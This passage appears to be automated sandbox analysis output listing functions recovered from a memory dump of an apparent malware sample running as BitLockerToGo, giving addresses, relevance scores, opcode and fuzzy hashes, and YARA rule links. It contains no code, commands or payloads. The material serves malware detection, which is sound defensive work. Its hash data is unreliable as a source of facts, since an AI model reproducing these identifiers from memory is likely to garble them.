Opcode Fuzzy Hash: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction Fuzzy Hash: 1871B6327083604BD724896FE88031BB7D2ABC6330F699B2EE4748B3E5D679DC459749

Function 00436780 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 00436964

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081
API String ID: 0-2471034898
Opcode ID: ab0d9cd8636c2a978c689a3c05a29e32a721648594ab0515a05aefe755f8825d
Instruction ID: a4fc0961e0e9a2504268b69e6fdb5bbc27b3cd606a6f10992c74dcc70a5d4e06
Opcode Fuzzy Hash: ab0d9cd8636c2a978c689a3c05a29e32a721648594ab0515a05aefe755f8825d
Instruction Fuzzy Hash: 6B612676B49A915BD328893C5C6137A6A834FDB330F2ED77EE5F28B3E1C96948064305

Function 004436B0 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

L, xrefs: 004438C5

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: f8b374493aec08cc3c08c9892431ce90c6633d564bc84eb487912f5e9bb4edcd
Instruction ID: 381061570a01dce8ee26a49bf4aa4c8c64d04828996239070ca16d4cfa8797e3
Opcode Fuzzy Hash: f8b374493aec08cc3c08c9892431ce90c6633d564bc84eb487912f5e9bb4edcd
Instruction Fuzzy Hash: FE5167319483644FD319CE29848025FF792ABC5314F1AC93DC8B95B781DBBA890B8BC9

Function 00417FCB Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

+, xrefs: 0041809B

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: 6452949e114e16e78ce08febda04c9d8d7882e104d3f45fe0f777fee1ad88666
Instruction ID: 8e9a3bcc603677a46813e63c53de684f03d39b9b5726d17352fd5abfb15ab025
Opcode Fuzzy Hash: 6452949e114e16e78ce08febda04c9d8d7882e104d3f45fe0f777fee1ad88666
Instruction Fuzzy Hash: BF510931608B818FD325CF38C4547A7BFE2AB95304F0A486EC1E7877C2DA79A445CB11

Function 0042BA62 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

$0, xrefs: 0042BA79

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $0
API String ID: 0-330564379
Opcode ID: f80d464ef1efe7227b378e3bae23e1509154a317e619f42607afa7863e3ade99
Instruction ID: 3b80ebf03962946228fc185dc7f0041d428819bbdc07eb164cfe59eb5168c9b9
Opcode Fuzzy Hash: f80d464ef1efe7227b378e3bae23e1509154a317e619f42607afa7863e3ade99
Instruction Fuzzy Hash: 241181B9E017168BCB08CF59D8915ADFBB1BB45310B0896ADC412AF241D7399981CBD4

Function 0040C2F0 Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 309984206f4bd3b929f80e25c113858ded775ea590a87a67c8783c94762ca832
Instruction ID: e84f8faaa4e7b9ccc77ca19e803d7de1af694066b61a854812b9f4b64cdd0632
Opcode Fuzzy Hash: 309984206f4bd3b929f80e25c113858ded775ea590a87a67c8783c94762ca832
Instruction Fuzzy Hash: CB52A131608315CBC725DF18E4C026BB3E2FFC4314F258A3ED996A7281D738A955CB8A

Function 00407510 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cffd5cae396f80a7281c3d20d72cbfa9f85999846369fe56fedbd15ad9e4d8d2
Instruction ID: 577c69a53df46e7f6057bd52eff200d365d88fc700a265c1ac500e842b4ca656
Opcode Fuzzy Hash: cffd5cae396f80a7281c3d20d72cbfa9f85999846369fe56fedbd15ad9e4d8d2
Instruction Fuzzy Hash: A552D63190C3458FC715CF28C0906AABBE1BF85314F198A7EE89967391D778F945CB86

Function 0040B7E0 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15af74178b43dab038f3685f7f493750f2b64f21b56864964eaa2c2b43307182
Instruction ID: 4b0a97aead53d033982432fa2eddcece9b32af3744bf1c2e56a823373fa95ca8
Opcode Fuzzy Hash: 15af74178b43dab038f3685f7f493750f2b64f21b56864964eaa2c2b43307182
Instruction Fuzzy Hash: FF52B270A08B848FE7358B24C4847A7BBE1EB51314F14493EC5D656BC3C37DA885DB9A

Function 0043C5C0 Relevance: .6, Instructions: 636COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6196614b34e465cd2f74c0bcb64b754ac09ab95d536ae5f6c00a67c15e7b5d8a
Instruction ID: d94aca6e3804dd1a8b223179c7d89490fc1944c0d90826dcfe2f6a413794770e
Opcode Fuzzy Hash: 6196614b34e465cd2f74c0bcb64b754ac09ab95d536ae5f6c00a67c15e7b5d8a
Instruction Fuzzy Hash: 3612453A618310CBD7148F38EC9272B73E1FF4A711F0A587DE886972A1E7799814CB59

Function 00407F50 Relevance: .6, Instructions: 630COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82596d31897d7c342cd1ee10aa73a753cd7dd0be0b2095fa5ee8957b7aec828
Instruction ID: 04cde8926db6bf57ca1ec108f17672f1997668509bd593945607ccf5a9dba1ec
Opcode Fuzzy Hash: e82596d31897d7c342cd1ee10aa73a753cd7dd0be0b2095fa5ee8957b7aec828
Instruction Fuzzy Hash: DC422471514B108FC328CF29C69052ABBF1BF95710B544A2ED6E797B90DB3AF845CB18

Function 0043CAF0 Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d3a5a81b8d7788704adb26521b8d4c30e92bdb67dbd7807d7fbcb2474a7233
Instruction ID: d0cace7f0287d21fa4388de489ab34e99039b1f40a661cc2793d7006497447ca
Opcode Fuzzy Hash: e5d3a5a81b8d7788704adb26521b8d4c30e92bdb67dbd7807d7fbcb2474a7233
Instruction Fuzzy Hash: 8D02663A518321CBC7149F38E89126BB3F1FF5A711F0A987DD885972A1EB399C14C789

Function 0044AED2 Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd9abf779ab579b5444b6568c803f8a1fbe64dfa0d374e1774bcd08fc643e09
Instruction ID: c3e26ab15352785ba4f46bb9a2abbff36af9e40df3186cf89c2b4c38877dc56e
Opcode Fuzzy Hash: fbd9abf779ab579b5444b6568c803f8a1fbe64dfa0d374e1774bcd08fc643e09
Instruction Fuzzy Hash: 8FE1485179D7C21FE316867809BA2D9BF94EF8311C32A56EFC4C60AC83D24988DBC746

Function 0040A700 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f898f38b183dd7ac462d6ebccc24597a23839d60c98835a8d81e21318bfe3b
Instruction ID: c42a7c99de1c6267f59e735fd09d968db44e503019a151304d62fcbdb66c87ad
Opcode Fuzzy Hash: 33f898f38b183dd7ac462d6ebccc24597a23839d60c98835a8d81e21318bfe3b
Instruction Fuzzy Hash: 48F1AF716083418FD714CF28C58062BFBE1FF99304F098A6EE9985B392D278D955CB9B

Function 00444590 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c9f366156708957f7419986c55c82c52e8ca77b1930f6582e5dfc5ce0afedb
Instruction ID: 7ad716717e09c1a850a14fac2be52a00b96ed01d4abe6e3232355cffbd81db97
Opcode Fuzzy Hash: e7c9f366156708957f7419986c55c82c52e8ca77b1930f6582e5dfc5ce0afedb
Instruction Fuzzy Hash: 5EC10F756083418FE308CF28E8A12ABB7E2EFC9315F19893DD98587392D778D905CB85

Function 004093E0 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fb0c62d22c49c406a9912ed695c7668af67347d65ddbf68a34fcfa534b6488e
Instruction ID: 93a3fccd2005fceea60ce06045a471c7baaa67a9a5590bf70595d9b1812cb898
Opcode Fuzzy Hash: 6fb0c62d22c49c406a9912ed695c7668af67347d65ddbf68a34fcfa534b6488e
Instruction Fuzzy Hash: 59D1AC7A618201CFD708CF28D85039AB7E2FB8A315F19853DE84587391D779D965CF42

Function 00442C90 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 28bb40411d5a3e029edf19938b3c738d670006648da1a09acc103b5f127fecbf
Instruction ID: 5352778583f316b1942b391fddea592de5364f1fe068602a5fe9b0737311cd44
Opcode Fuzzy Hash: 28bb40411d5a3e029edf19938b3c738d670006648da1a09acc103b5f127fecbf
Instruction Fuzzy Hash: 36A15C726083006FE734CE25CD82BABB6D2EB88714F58893EF885D7355E6789D408B56

Function 0042D485 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 090d031d4ee09cbd52a384a0ebe79b5e88ecb7631e2ec298b18fed20eef152b1
Instruction ID: e9493e429441cd296816c69766863bafd88bdf098192df9cd653f1b780d68e7e
Opcode Fuzzy Hash: 090d031d4ee09cbd52a384a0ebe79b5e88ecb7631e2ec298b18fed20eef152b1
Instruction Fuzzy Hash: 97A154B49083509FD7109F28E89162BBBE1AF92308F54493EF5D6873A2E339D845CB56

Function 0040B310 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6167566dc9038291b138ca4a66024a326036705250c665ab0218bec61faa159c
Instruction ID: 138279c2308e9ffa157bc7d6e8016a2238ab8d9dc4b7937ea1e658de1884896a
Opcode Fuzzy Hash: 6167566dc9038291b138ca4a66024a326036705250c665ab0218bec61faa159c
Instruction Fuzzy Hash: D2D15A729187418FC320CF28C896BABB7E1EB85318F08493DD5D9D7342E778A555CB8A

Function 00434A4D Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7338b675a7da84e0bb670ef26630f7104b633f90ff5e1fa0904a7b8d1b7aff96
Instruction ID: 010aeed76cead055780acdb790fc598146bba4e52ed54b39184838a0a0c52056
Opcode Fuzzy Hash: 7338b675a7da84e0bb670ef26630f7104b633f90ff5e1fa0904a7b8d1b7aff96
Instruction Fuzzy Hash: E1C12876605B408FD3198F3CC851396BFE2AFDA314F1D856DC5DA8B786D639A805C702

Function 00445B60 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0c72bc816347ae528013667dafe08a2d38ac6ce4e580aad746314777de30b2cb
Instruction ID: 23289139d84b9259507c2bcead0d58353efdf5a7b5fa2ff38763b3cf44f5ced3
Opcode Fuzzy Hash: 0c72bc816347ae528013667dafe08a2d38ac6ce4e580aad746314777de30b2cb
Instruction Fuzzy Hash: 1E81BF742047018BEB14DF18C895A2BB7E2FF99710F19852DE9818B362EB35EC51CB46

Function 0043B500 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f529f5716c2615aa04732de38cf4f5267905e0a0416508f68717be5a4a97830c
Instruction ID: 70b29aef3d9e9ec4fae1490b80b8232069c402c11e2d50974256b781a589c576
Opcode Fuzzy Hash: f529f5716c2615aa04732de38cf4f5267905e0a0416508f68717be5a4a97830c
Instruction Fuzzy Hash: C1A13C71D087C19FD712867CC84139ABFA1EB5B314F1D8699D5D19B382C37A9806C7E2

Function 00445E50 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 33a34578640a9500525981370268ab95c6b05833a461c675b271e21881e5392c
Instruction ID: 02dab6d398366845b63a61a755d7fcc054544b0f9ae3831209dfbb13ef84b8f3
Opcode Fuzzy Hash: 33a34578640a9500525981370268ab95c6b05833a461c675b271e21881e5392c
Instruction Fuzzy Hash: 9191D2316087119FDB24DF18C881A6BB7E2FF89744F19882DE98187362D739EC51CB86

Function 004430B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47669169c0b3192459965de4d12994e2f7b0b0f32fb5799ea96622b52169295
Instruction ID: d872cf5cb27ee272576ed0e7f402ca2b0fd4cdc20f75cbbcfd3791ae961d09a1
Opcode Fuzzy Hash: b47669169c0b3192459965de4d12994e2f7b0b0f32fb5799ea96622b52169295
Instruction Fuzzy Hash: 8D71E672A04210ABF7249E69DC4177B73D9EB84B18F044A3EFD49D3382E679ED048796

Function 00414A5E Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb845517bfc2d4608f85ed517062668683d2268f430e461a7ce47a2ae7e328ff
Instruction ID: ea3b685621ca7ff4588ee46760799281373571f907769e113feae04dc676dd2f
Opcode Fuzzy Hash: fb845517bfc2d4608f85ed517062668683d2268f430e461a7ce47a2ae7e328ff
Instruction Fuzzy Hash: 4591F672609F808FD3258B78C8953A7BED1ABD5314F5D8A7EC4EAC37C2D678A1058711

Function 004333C7 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecea681fcee403349881798161f090a58571435533f6c6cf5c86a47363fd44fb
Instruction ID: 6221c27483302d3fe0c64674a8aa105814b5fb91cf67e7c4d62af941ca20d84f
Opcode Fuzzy Hash: ecea681fcee403349881798161f090a58571435533f6c6cf5c86a47363fd44fb
Instruction Fuzzy Hash: 6B811671604B408FD3158F3CC8907A6BBE2AF9B314F1885ADD6EA877A2D638A805C755

Function 00442A70 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b42b9ae39accbd61f1a16d2ba676950beb4ec095e27c279d34d29f0459096b7
Instruction ID: 550ea70b8b6b95573b483702567a557a58907c1cf0cadc91ef497e1fe6587cec
Opcode Fuzzy Hash: 6b42b9ae39accbd61f1a16d2ba676950beb4ec095e27c279d34d29f0459096b7
Instruction Fuzzy Hash: 955145327083155BE3249D29DD82B2FB792F7C9314F19863DF895A73E5DAB8AC018784

Function 00422F90 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf9affe50fa28d4bb8df01513824f5ad91a5d2bb91046e17247575cd6e0eb6b
Instruction ID: 74654e3b064aed09839fdec9528ac62715665819db71bbdfa64000de28ea038b
Opcode Fuzzy Hash: 6bf9affe50fa28d4bb8df01513824f5ad91a5d2bb91046e17247575cd6e0eb6b
Instruction Fuzzy Hash: F95110267099A147D3288D3C6C213BA6A934FD2331F7C876FD1B2873D5C95D8946531A

Function 0043B2A0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56250c17a4b28a313d30a28ab95050122c99476d751e725de0da4c30fc913e2a
Instruction ID: 96bf7036eb398f5e282012c022282f36f592708e6623db50a4bdb91b7a98ba93
Opcode Fuzzy Hash: 56250c17a4b28a313d30a28ab95050122c99476d751e725de0da4c30fc913e2a
Instruction Fuzzy Hash: 71516DB15087548FE314DF29D49435BBBE1FB88318F044A2EE5E987351E379D6088F86

Function 0042D2A0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68a261418333d9d50bfafb2a46f5ded94db66043ec31b6149f6f2802288680d
Instruction ID: 7493be70bffb1fa4ee0b616845088667918d6f637dc67730a5ba32dbec01f134
Opcode Fuzzy Hash: f68a261418333d9d50bfafb2a46f5ded94db66043ec31b6149f6f2802288680d
Instruction Fuzzy Hash: 0941E0B8A083108BD314DF18D85136BB7F2FFD6710F05892DE8868B794E7789844CB8A

Function 0043EE40 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab64e1dd7400f464c18a355b74a0cd84bdfaf16cde87ebbb703724261a1614a6
Instruction ID: 9b8d8ab54524ba756b8e4d4fb9bffd3531f9ecca077ef98cf823f42f9fd864a8
Opcode Fuzzy Hash: ab64e1dd7400f464c18a355b74a0cd84bdfaf16cde87ebbb703724261a1614a6
Instruction Fuzzy Hash: E5415731A052009BC720CE1AD881F27B7E6ABDD719F14C93EE88197396D378DC41CB5A

Function 00405CB0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade6cd1f8522f2ad584bf6bcf1c82236d3d0e97ab43c28a554c8835b998ecd6d
Instruction ID: 8612e94a556a7e1a81245d0e75890434cf9b6b61a6d672561bfbaf10ae2b1f92
Opcode Fuzzy Hash: ade6cd1f8522f2ad584bf6bcf1c82236d3d0e97ab43c28a554c8835b998ecd6d
Instruction Fuzzy Hash: 7551D4759046009FC714DF14C840927B7A1FF85328F15867EE899AB392D635ED42CFDA

Function 0040A008 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588c543063016bffcb512c6dd808f674cac328c664f941015294e77c68c69208
Instruction ID: b572e52c58299cff02d15894344d2080921824c9e011d3736e5ecb98c81727eb
Opcode Fuzzy Hash: 588c543063016bffcb512c6dd808f674cac328c664f941015294e77c68c69208
Instruction Fuzzy Hash: AF615A35108380DFD7048F68D840A5FBBE2BB8A304F05892DF5C9962A1D774C964DB6B

Function 0043C870 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5987dcb9bd81718599e6e3eeb340e0b310847229e7ba1aff3bf8fccc070ed9d0
Instruction ID: e47ed0a9e3c759afece2a62adfbe8ee8ffe9b1b2051331d8849ea59ddf422d62
Opcode Fuzzy Hash: 5987dcb9bd81718599e6e3eeb340e0b310847229e7ba1aff3bf8fccc070ed9d0
Instruction Fuzzy Hash: E6310FB16043006BE7106A25DCD2F3B7799EF99758F06253AFC85B7293E225DC10875A

Function 0042F850 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19452ec21073fb882385a143cacaedabd7109b68e3d4f355fa505cc79a3f9baf
Instruction ID: f3b9448e6cad9697332114bed62cd4d17b35b4f01170d14ba1d13646ccbedd51
Opcode Fuzzy Hash: 19452ec21073fb882385a143cacaedabd7109b68e3d4f355fa505cc79a3f9baf
Instruction Fuzzy Hash: 0C312573E11A3807D7088D3E9C1026AB1D25BD5265BDEC379ED699F3C6DA349C1682D0

Function 0043BA40 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83547082dc067e5496c99d056fc1057db8c3cd28256c2576be87a6869b25da69
Instruction ID: 4e11933dad459701ff752eff5d81730530a64adaab41582a9f25e903cd75c361
Opcode Fuzzy Hash: 83547082dc067e5496c99d056fc1057db8c3cd28256c2576be87a6869b25da69
Instruction Fuzzy Hash: 4B216B3224831C4BC718AF55DC522BBF396EBCE710F09D62FD68687240EB78D90592D5

Function 00404CA0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a86abeefa7357f9bc868bab3ab689f038a56ae408238674b74a8fae3c8ad3ff
Instruction ID: 7a06a07bb2bfc34c6277920efd2c418af5d6f20d75161fc3d6cc889b713bdb6d
Opcode Fuzzy Hash: 0a86abeefa7357f9bc868bab3ab689f038a56ae408238674b74a8fae3c8ad3ff
Instruction Fuzzy Hash: 2531CCB16082009BD7149E59D880627B7E1EFC4318F19853FE999A73D1D339DD53CB4A

Function 00407150 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c61014a5e6f122ff9f1b38bddcb439dd125aa4f105d6153f6e84efffed074c1
Instruction ID: ed70f5b60fd5a346420f68f29e6beaeca0e00ab197bfff73a60a5a9dbb848ffa
Opcode Fuzzy Hash: 0c61014a5e6f122ff9f1b38bddcb439dd125aa4f105d6153f6e84efffed074c1
Instruction Fuzzy Hash: DB11043BF2C23107E350CE76DCC45176352FBDA21070A0839EA41E7382C636F842D195

Function 0040A49A Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
